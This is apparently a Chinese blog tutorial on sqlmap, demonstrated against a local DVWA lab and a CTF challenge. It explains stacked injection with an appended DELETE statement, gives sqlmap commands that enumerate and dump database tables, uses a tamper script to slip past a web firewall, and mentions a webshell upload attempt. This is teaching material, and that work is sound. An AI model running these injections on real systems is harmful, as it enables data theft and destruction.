暂无图片
暂无图片
暂无图片
暂无图片
暂无图片

sqlmap基本使用

鸡术有限 2019-04-03
320

目录

0x01 sqlmap简介

0x02 使用手册

0x03  简单使用

注:sqlmap是一个神奇的工具,神奇到大表哥都弃啊D,明小子,穿山甲而去,开始使用sqlmap了,只要你用的熟,秒杀各种工具。我当时不知道sql盲注的时候,看着数据库里的数据一个一个字节爆出来,感觉很蒙蔽,也感觉特别神奇。我们通过上面的学习已经基本了解SQL注入原理以及盲注,接下来就让我们一起学习并对sqlmap进行以下实践吧!


0x01 sqlmap简介

sqlmap支持5种不同的盲注

  • 1、基于布尔的盲注,即可以根据返回页面判断条件真假的注入。

  • 2、基于时间的盲注,即不能根据页面返回内容判断任何信息,用条件语句查看时间延迟语句是否执行(即页面返回时间是否增加)来判断。

  • 3、基于报错注入,即页面会返回错误信息,或者把注入的语句的结果直接返回在页面中。

  • 4、联合查询注入,可以使用union的情况下的注入。

  • 5、堆查询注入,可以同时执行多条语句的执行时的注入。

在前面我们已经学过前4种注入,现在来看以下第5种注入

stacked injection 汉语翻译过来就是堆查询注入,也称为堆叠注入

1.注入原理

堆叠注入其实和union联合查询差不多,但是union查询联合的语句类型有限,联合查询查询的必须是相同的数据类型和数列,而堆叠注入则是在语句后面加;语句,例如:

将id的值赋予3

将id的值赋予3;delete from login where login.id=3



再查看id=3 ,则已经被删除




2.堆叠注入局限

可能会因为环境原因(api和数据库引擎不支持)和web环境(比如web前端只显示一条数据)

0x02 使用手册

中文 使用手册具体请见:

https://pan.baidu.com/s/1-cbdWbWMazl3y0gGoV-b9A 提取码:jrnc

接下来介绍一些简单的语法

-u ""  

注入url

--dbs

注入数据库

--dbms

回显数据库类型

(--common爆破)-tables

注入表

-D

指定注入数据库

-T

指定注入表

--column

注入数据表的列

--dump

导出数据表条目

--batch

自动选择(y)模式

--users

查数据库用户

0x03 sqlmap简单使用

本次使用还是在dvwa中使用

查服务器基本信息

python.exe sqlmap/sqlmap.py -u"http://localhost:8888/DVWA-master/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --batch --cookie="security=low;PHPSESSID=jjslfbp8pteehcvqtgt36o3nh3"

查数据库

python.exe sqlmap/sqlmap.py -u"http://localhost:8888/DVWA-master/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --batch --cookie="security=low;PHPSESSID=jjslfbp8pteehcvqtgt36o3nh3" --dbms="MySQL" --dbs

查数据库的表

python.exe sqlmap/sqlmap.py -u"http://localhost:8888/DVWA-master/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --batch --cookie="security=low;PHPSESSID=jjslfbp8pteehcvqtgt36o3nh3"  -D "dvwa" --tables

查指定表的列名

python.exe sqlmap/sqlmap.py -u"http://localhost:8888/DVWA-master/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --batch --cookie="security=low;PHPSESSID=jjslfbp8pteehcvqtgt36o3nh3"  -D "dvwa" -T "users" --columns

查表中数据

python.exe sqlmap/sqlmap.py -u"http://localhost:8888/DVWA-master/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --batch --cookie="security=low;PHPSESSID=jjslfbp8pteehcvqtgt36o3nh3"  -D "dvwa" -T "users" --dump

我最后打算用sqlmap上传webshell,但是传不上去,原因待排查。

ctf题:http://www.shiyanbar.com/ctf/1908

爆破数据库

python.exe sqlmap/sqlmap.py -u"http://ctf5.shiyanbar.com/web/index_2.php?id=2" --dbs

critical关键信息,在语句后面尝试加上  --tamper=space2comment(虽然不知道这是什么)。

--tamper=TAMPER

用给定脚本修改注入数据(主要用来检测和绕过安全狗)

python.exe sqlmap/sqlmap.py -u"http://ctf5.shiyanbar.com/web/index_2.php?id=2" --dbs --tamper=space2comment

爆表名

python.exe sqlmap/sqlmap.py -u"http://ctf5.shiyanbar.com/web/index_2.php?id=2" -D web1 --tamper=space2comment --tables

查表中数据

python.exe sqlmap/sqlmap.py -u"http://ctf5.shiyanbar.com/web/index_2.php?id=2" -D web1 --tamper=space2comment -t flag --dump

验证,答案正确,这确实比手工注入美滋滋。

下一篇:sqlmap --tamper参数介绍

求关注


文章转载自鸡术有限,如果涉嫌侵权,请发送邮件至:contact@modb.pro进行举报,并提供相关证据,一经查实,墨天轮将立刻删除相关内容。

评论